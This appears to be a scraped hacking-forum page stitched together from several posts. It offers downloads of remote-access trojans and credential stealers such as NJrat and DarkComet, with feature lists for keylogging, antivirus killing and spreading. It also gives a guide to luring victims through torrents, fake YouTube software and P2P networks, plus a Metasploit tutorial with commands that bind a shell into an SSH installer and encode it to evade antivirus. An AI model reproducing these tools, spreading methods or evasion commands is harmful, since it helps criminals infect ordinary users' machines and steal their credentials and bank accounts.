Download :

MEDIAFIRE

Or

Sendspace

* Screen Capture Qualty Fixed
* Keylogger bug fixed
* Passwords all bug fixed
* Open Webpage work is now!
* Add DNS updater (No-IP)

windows 8 compatibility

and more...

Download :

FileSwap

Or

RGhost

Name : NJrat

version : 5.0

Features:

1: stup outside + Source Code st the stup
2: Repaired Kilogger the record all letters
4: filming screen
5: CHAT with the victim
6: The server now accept encryption with the Dot Net programs
7: change the size of the screen on the right
8: Many repairs for the stability of the connection between the program and the victim

Download :

GE.TT

Or

SendSpace

 

Panel :


Binary Has been modded :

- Two calls to decryption routine have been nopped


Panel  :

- Took off 2 Links calling exe.php (get your build) and dns.php (missing files still both useless) ...
- Tranlated Some Russian Shit here and there ...


Successfully tested on : WinXP SP3 / IE8

Download :

GE.TT

Or

FileSwap

Maybe you saw some people get hundreds of victims every day They rely on the penetration of random And all their victims from popular forums and torrent Today I will explain to you the ways in which they use .



Sources of the victims :

Torrrent
Social networks & Forums
Sites publish the files like dvb-upload.com
Chat rooms

How to get victims :

• Create a fake software  Has become a widespread phenomenon in youtubeYou can experiment and you'll get thousands of victims But you first have to increase the number of Views I advise you to use vagex.com and Of course you you must to disable comment on your video

• Torrent the best source of victim you can easily create your account in thepiratebay.com and create a torent using Any program that supports torrent just choose a software and inject or bind this software with your clean server and do not forget to add trackers  in your torrent

This video explain how to create a torrent :

• from the forums you can get a lot of victims Some times I put private software and remember Do not put a download link But (Pm Me :D for mediafire link) To target members :) So this method is not in all forums you can put the link in the warez site There is no need not explain :)

Some professional hackers Use other ways They scan  A large number of Random Ip To discover Exploit Will generally put a special topic in this type ...

And finally offer you a program named  Spread Robot With this program you can spread your server in(Shareaza - Areas - eMule )

The main interface of the program:

Click Get Warez :

and choose the path of your server and Make Warez File :

Then the software will create a file in which each of these programs and share the files in (Shareaza - Areas - eMule )

 Always select Icon Setup or Install the Server and pumb the files  Even up to 2mg  using hex workshop

Download :

Spread Robot

The 'Zeus Trojan Horse' Virus once again had a come back. According to a resource, it has an ability to drain your Bank accounts easily.

Zeus Virus can propagate through phishing messages that are generated from the account that was already compromised with phishing. That phished account will then start sending messages to your friends containing links to the ads and would ask them to simply check-out the video or product by clicking on such links. This way the virus will go viral.


Readers are requested to stay refrain from clicking such links, because they might end up getting their accounts compromised The virus is very sophisticated, so that it could replace the website of a bank with the mimicked page of its own.

That fake page could then ask for your security information and some other important data that could be easily sold in black market.

According to many sources, perhaps it has been confirmed that those pages are being hosted by Russian Mafia (known as Russian Business Network as well).

About Zeus(Virus)

The virus is well-known for what it use to do. It was detected once back in 2007, and after that detection it started to spread online. The virus is well-designed so that if you would click on it, the possible and important data like Passwords and Bank Accounts can be stolen easily.

Does Facebook Took Action Against It?

Facebook is aware of it, but it is unlikely that Facebook is going to take any action against it.

The founder of advocacy group Fans Against Kounterfeit Enterprise (FAKE) said that he was trying to alert Facebook about this issue to take action against it as soon as possible, but unluckily he was not satisfied well with their response.

Those who are using windows should stay much careful about this issue. It has been said that Windows devices are much infected with this virus. Hence, Mac OS X or Linux are still safe of this virus.

Some countries like USA and UK are badly infected, though, India, Russia, Canada and France are also infected with the virus at some moderate  limits. Some other countries like Australia, Argentina, Brazil, South Africa, Chile, Saudi Arabia, Pakistan, Indonesia and some other South-East Asian and European countries are less affected by this virus.

So in this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Thought their are lots of approaches, however our team member Malik Rafay has managed to find a way to make an executable FUD using msfencode.

Requirements 

A Backtrack machine , real or virtual. I used Backtrack 5 r3, but other versions of Backtrack are working OK too !!!
Attention !!!

We are using some harmless test files but don't infect people with any real viruses that's a Crime and we here at hax0rtools are not responsible for.
Purpose:

Antivirus protects machines from malware but not all of it .there are ways to pack malware to make it harder to detect. well use metasploit to render malware completely invisible to antivirus. 

Creating a Listener:

This is a simple payload that gives the attacker remote control of a machine. It is not a virus ant won't spread, but it is detected by antivirus engines. In Backtrack in a Terminal windows execute these commands:  

cd
msfpayload windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe
ls -l listen.exe

You should see the listen.exe file as shown below: 

Analyzing the Listener with VirusTotal

Go to https://www.virustotal.com/en/

Click the "Choose File" button. Navigate to /root and double-click the listen.exe"listen.exe" appears in the "Choose File" box, as shown below:

In the virustotal web page , Click the "scan it" button !!!

If you see a "File already analyzed" message, click the "View last analysis" button.

The analysis shows that many of the antivirus engines detected the file--33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.

Encoding the Listener 

this process will encode the listener, & insert it into an innocent SSH file.

In BackTrack, in a Terminal window, execute these commands:

wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exemsfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1ls -l evil*

You should see the evil-ssh.exe file as shown below :

Scan with virusTOTAL

Go to: https://www.virustotal.com/

If you see a "File already analyzed" message, click the "View last analysis" button.

The analysis shows that fewer of the antivirus engines detect the file now--21 out of 42, when I did it, as shown below. You may see different numbers.

 

Encode the Listener Again This process will encode the listener with several different encodings.

In BackTrack, in a Terminal window, execute these commands:

msfencode -i /root/listen.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1msfencode -i /root/listen2.exe -t raw -o

/root/listen3.exe -e x86/jmp_call_additive -c 1
msfencode -i /root/listen3.exe -t raw -o /root/listen4.exe -e x86/call4_dword_xor -c 1

msfencode -i /root/listen4.exe -o /root/listen5.exe -e x86/shikata_ga_nai -c 1ls -l listen*

You should see several files as shown below : 

Analyzing Again

The analysis shows that fewer of the antivirus engines detect the file now 0 out of 42 When I did it as shown below. you may see different numbers. 

Antis

[x] AntiAnubis

[x] AntiBitdefender

[x] AntiKaspersky

[x] AntiMalwarebytes

[x] AntiNod32

[x] AntiNorman

[x] AntiOllydbg

[x] AntiOutpost

[x] AntiWireshark

Stealers

[x] Google Chrome (latest version)

[x] Mozilla Firefox (latest version)

[x] Opera (version 10)

[x] Windows Live Messenger (latest version)

Features

[x] Antis

[x] Mail Encryption

[x] Stealers

[x] Cookie Deletion

[x] Download Link Encryption

[x] AV Site Blocker

[x] USB Spread

[x] Startup

[x] Taskmanager Killer

[x] Clipboard Logger

[x] Steam Forcer

[x] Downloader

[x] Fake Error

[x] Melt

[x] Screen Logger

[x] Mutex

[x] Infection Notify

[x] Native Stub

Download :

mirrorcreator

Features:

1- Built in Stub

2- Get Tons of Information about the slave (Computer User, Computer Name, Computer Total Physical Memory, slave's IP Address, slave's Country, Date, etc...)

3- Send logs to SMTP Severs and FTP

4- SMTP (Hotmail, Gmail, AOL, Yahoo)

5- Test Mail Functionality (Hotmail, Gmail, AOL, Yahoo)

6- Test FTP Functionality

7- Continuously Send Logs without Fail

8- Custom Logs Sending Interval (Which means you Choose when the Logs are sent to you)

9- Logs Every Single Thing on the Keyboard (Letters(Up Cases and Low Cases) - Numbers - Symbols - Specific Keys ([F1], [F2], [Home], etc...))

10- Works on all Operating Systems (Window XP, Window Vista, Window 7 (32 and 64 bit)

11- Hide Functionality (Make the Server Invisible to the Naked eye)

12- Never Crashes in slave's Computer (Will always be working whatever happens)

13- Simple and Easy to use GUI

14- Customer Server Name

15- Sends Clean and Very Organized Logs

16- Can be Used as a Keylogger - Stealer - Worm - Spreader and more by just Checking Few Boxes

Spreaders:

1- USB Spreader

2- LAN Spreader

3- P2P Spreader

4- RAR Spreader

Stealers:

1- Firefox 4/5/6/7/8/9

2- Google Chrome All Versions

3- Opera All Versions

4- Internet Explorer 7/9

5- Steam Stealer

6- CD Keys (up to 300)

Anti Killers:

1- Anti Nod32 (All Versions)

2- Anti Kaspersky (All Versions)

3- Anti BitDefender (All Versions)

4- Anti MalwareBytes (All Versions)

5- Anti Norman (All Versions)

6- Anti WireShark (All Versions)

7- Anti Anubis (All Versions)

8- Anti KeyScrambler (All Versions)

9- Anti Ollydbg (All Versions)

10- Anti Outpost (All Versions)

11- Anti ZoneAlaram (All Versions)

Disablers:

1- Disable RUN

2- Disable Registry

3- Disable CMD

4- Disable Right Click

5- Disable Task Manager

6- Disable System Restore

Deleters:

1- Delete FireFox Cookies

2- Delete Google Chrome Cookies

3- Delete Internet Explorer Cookies

Download And Execute:

Add any Link that Leads to any kind of File and this File will be Downloaded and Execute Automatically and Anonymously 

Webpage Loader:

Add any Link and it will be Automatically Loaded on the slave's PC

Fake Message:

Write any kind of Message and you can choose Any kinds of Types for it and it will Automatically Appear on the slave's Computer

Built Ins:

1- Icon Changer

2- File Pumper (the Server size will never change even if the Server was Zipped or Extracted)

3- Assembly Changer

Updates for V 1.5:

1- Logs Sending bug Fixed

2- Firefox Stealer bug fixed

3- Google Chrome Stealer works for All Versions

4- Assembly Changer added

5- Some small bugs has been also fixed.

6- Unknown Logger is now Faster and use Less CPU

7- Unknown Logger created Server is now Faster, use Less CPU and is more stable...

8- Unknown Logger is now more Secured.

Download :

MirrorCreator

- Firefox (all versions)
- Safari (all versions)
- Google Chrome (all versions)
- Windows Live Messenger (all versions)
- Opera (all versions)
- Серийный ключ для Windows (all versions)
- Internet Explorer (all versions)
- FileZilla (all versions)
- Nimbuzz (all versions)
- Нет-IP (all versions)
- Pidgin (all versions)
- Minecraft:
- JDownloader (all versions)
- CoreFTP (all versions)
- DynDNS (all versions)
- FlashFXP (all versions)
- IMVU (all versions)
- SmartFTP (all versions)
- PalTalk

Download :

Mirrorcreator

 

Latest stable version. ( Release date : 04/06/2012 at 20:04 )
Product version : v 5.3.1 FIX 1 fwb
Directed and Coded by : Jean-Pierre LESUEUR ( DarkCoderSc )
Coded using : Pascal / Delphi ; Assembler x86 ; PHP (Trace route; get IP WAN)

  



[Curent Changes 5.3]

- [FIX ] HTTP Flood more efficient
- [FIX ] In settings the last theme is correctly set in the combobox
- [FIX ] Auto SIN Refresh ratio successfully saved in config.ini
- [GUI ] Client Settings GUI changed, it is now more user friendly and fit with the rest of DarkComet RAT Design
- [GUI ] EULA At startup is more beautiful
- [GUI ] No IP Gui revised
- [GUI ] User group Gui revised
- [FUNC] Search for update added in settings
- [GUI ] Keylogger GUI revised
- [FIX ] Now desktop correctly save snapshots (if option enabled)
- [DEL ] Delete in full editor (read only, archived, tempory) attributes to avoid some stub problems if used
- [FIX ] Users list flags support now Serbia Country (Republic of Serbia)
- [FIX ] VIP Lounge price and URL fixed
- [FUNC] HOT, Now you can chose wich functions you need in the control center, and not be bloated with functions you might never used. (In settings window)
- [FIX ] FTP Upload Keylogger Logs bug fixed
- [FUNC] FTP Wallet added in settings, it allow you to setup and test your FTP accounts for compatible DarkComet RAT FTP Functions
- [FUNC] FTP Wallet is now linked to the Edit Server keylogger FTP Managment
- [FUNC] Now you can upload files from file manager to one of your FTP account (compatible with the FTP Wallet)
- [FUNC] Embedded FTP Client added to DarkComet, multithread using Pure API, very fast and reliable and of course user friendly.
- [FIX ] Bug fixed when module startup enable, no more tons of process on reboot etc.. support Drag n Drop
- [FUNC] Drag And Drop added in File Manager to upload files frop explorer directly to remote computer
- [FUNC] New downloader method implemented using Pure low level API's instead of the **** URLDownloadUrlToFile bloated of crap
- [FUNC] File Downloader manager from control center been improved and bug fixed, now file are correctly downloaded, also you can chose a PATH from combobox shortcut
- [FUNC] Mass downloader from user list been improved and multithreaded, also download bug is now fixed
- [FUNC] Same as for mass downloader, update from URL bug fixed and improved

Download :

GE.TT

 

[+] - Firefox (All versions)
[+] - Internet Explorer (All versions)
[+] - Chrome (All versions)
[+] - Opera (All versions)
[+] - Messenger
[+] - Steam
[+] - FileZilla 

Download :

MirrorCreator

Or

Localhostr

 

 It uses http (php) to upload the logs. That means you need a website to use this stealer, (Dropbox can't be used, since you need a htaccess file, to stop anyone from entering the upload folder. why did I use http instead of smtp or ftp: Because that way there's no stored login information in the binary compiled file, so even your stealer should be decompiled, you won't be able to get hacked.
The output file is 4 kb. and it will download the stealer itself, and run it, then upload the logs to your site, that way I can always update it, and make it FUD, in case it should become detected

Download :

GE.TT

Or

Mediafire

 

 





























 
                       

Download :

GE.TT